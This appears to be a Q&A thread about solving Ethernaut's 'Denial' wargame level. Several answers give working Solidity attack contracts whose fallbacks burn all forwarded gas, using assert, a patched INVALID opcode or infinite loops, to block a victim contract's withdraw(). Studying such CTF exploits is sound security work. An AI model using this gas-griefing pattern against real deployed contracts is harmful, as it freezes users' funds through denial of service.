4

I solved all levels of Ethernaut game except level 20 Denial: https://ethernaut.openzeppelin.com/level/0xcE1BB92eeb71AF5Fec09D38B0c854d55285f6e04

Eventually, I gave up and looked up the solution on the author's blog: https://github.com/sigp/solidity-security-blog#dos-vuln

I deployed the following contract on Rinkeby Test Network using Remix:

pragma solidity ^0.8.7;

contract DenialAttack {
    fallback() external payable {
        assert(false);
    }
}

The address of this contact is: 0x828F2073947a6d3De9caeEf48c7eCa989436a14B

Then I created a fresh instance of Denial on Ethernaut. Next I called (from dev tools):

contract.setWithdrawPartner("0x828F2073947a6d3De9caeEf48c7eCa989436a14B")

I made sure that partner is successfully set to my attack contract. I submitted my instance but it told me that I haven't completed the level yet. Then I run (in dev tools in my Brave browser):

contract.withdraw()

And the transaction successfully completed. Here is how it looks on Etherscan.

Expected behavior is that I complete the level after submitting the instance and call to withdraw fails with out of gas error.

Ok, so this should be enough to reproduce the issue.

The idea here is that partner.call.value(amountToSend)(""); passes all (or most?) gas to the callee contract (in my case to DenialAttack), then the callee contract burns all the gas and the execution of the whole transaction fails because the Denial contract has no gas left to finish the execution of withdraw(). Therefore we have achieved denial of service.

However, it seems that what actually happened is that call didn't pass all the gas to callee contract and enough gas was left to finish execution of withdraw().

I've also tried other ways to burn all gas like iterating many times over a loop or doing something similar to described here. Nothing works.

My hypothesis is that this solution used to work but something has changed in Ethereum with how gas is passed when using call without specified gas limit and this level is no longer solvable. Maybe https://github.com/ethereum/EIPs/issues/114 is related?

My questions are: am I right? Is this level still solvable? If not, why? What did exactly change? When?

Thanks!

1
  • I'm bumping this since I'd also like to know. For what is worth, this contract could be reentrancy-attacked so that it no longer has funds when the owner wants to withdraw, but still not what the problem is asking.
    – ImportNN
    Commented Oct 24, 2021 at 19:42

3 Answers 3

5
+100

I saw the question thanks to the bounty and got really curious as to why it would not be possible... I'm not that far from level 20 so I jumped a few steps to try it.

The issue seems to be present for solidity > 0.8.5 only (tested using truffle) , I tested several versions in the range 0.6.0 to 0.8.5 (excluded) and the behavior is perfectly normal.

With a simple contract :

pragma solidity ^0.8.0;

contract TargetCall {
    
    fallback() external payable {
        assert(false);
    }
}

I saw the same behavior as you, it's a revert inside the call and not an assert, so execution can continue...

Looking into the bytecode I saw something curious :

0x60806040526000601057600f6012565b5b005b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fdfea264697066735822122022ef0b693779530b61308a11d0037e0882593e0cda55eb30d234198773a38f6464736f6c634300080a0033

The assert is at : fdfe but in OPCODE view this is :

  • 0xFD : REVERT
  • 0xFE : INVALID (ASSERT FALSE)

I supposed that assert(false) was "optimized" to a simple revert() but no matter the conditions that I put in (even some that should not be optimizable..) it produced a similar bytecode (maybe I missed something though). If it were truly an optimization, why would the 0xFE invalid opcode even be there ?

My solution was to force an invalid OPCODE instead of the revert() :

So, modifying fdfe to fefe wich translates to :

  • 0xFE INVALID (ASSERT FALSE)
  • 0xFE INVALID (ASSERT FALSE)

Deploying this bytecode solves the challenge.

This contract is currently deployed on the Rinkeby network at : 0x2C68B51837c38B5f9B1e20acf607efed175B9BC7

Is this level still solvable?

Yes !

What did exactly change?

I suppose that solidity >0.8.5 behavior changed regarding assert() but I could not find specific informations allowing me to come up with a less dirty solution. If anyone has a proper explanation / link to change summary I'd be curious too !

PS : I will keep looking for a changelog explaining that behavior and edit my answer accordingly if I find anything.

3
  • As far as I can remember some version changed the assert behavior to be more like a revert, to not consume all available gas, not sure if it was a EVM version or a solc version that have the change.
    – Ismael
    Commented Nov 12, 2021 at 4:12
  • Given that the bytecode is different it must be solc right ? I managed to see the yul output that generated panic helpers where the revert is clearly present, i just didn't have the time to track it down to a specific issue yet..
    – hroussille
    Commented Nov 12, 2021 at 18:13
  • A more readable way to force the INVALID opcode is to use some inline assembly: assembly { invalid() }
    – almel
    Commented May 2, 2022 at 18:14
0

Another solution to it is probably to use up all the gas inside our malicioc contract. It can be done with an infinite loop. Create a contract A. Set A's address as the partner address. Call withdraw.

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Denial{
  function withdraw() external;
  function setWithdrawPartner(address _partner) external;
}


contract AlienCodex  {

    Denial denial;

    constructor(address _addr) {
        denial = Denial(_addr);
        denial.setWithdrawPartner(address(this));
    }
   

    fallback() payable external{
      uint a = 0;
      while(true)
      {
        a = a+1;
      }
    }
}

The only thing that I am not sure about is, why can't we use a re-entrancy attack here. Constantly calling withdraw() in a loop would also probably eat up all the gas. A simple re-entrancy that I tried out didn't work. Not sure though. The solution attached above works well though.

0
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract AttackerContract {
    
    fallback() payable external {
        while(true){
            
        }
    }
    
}

This solution worked for me. It consumes all gas so execution never gets to the next line.

1
  • Exactly this solution also worked for me. An infinite while loop. Commented Aug 11, 2022 at 12:21

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.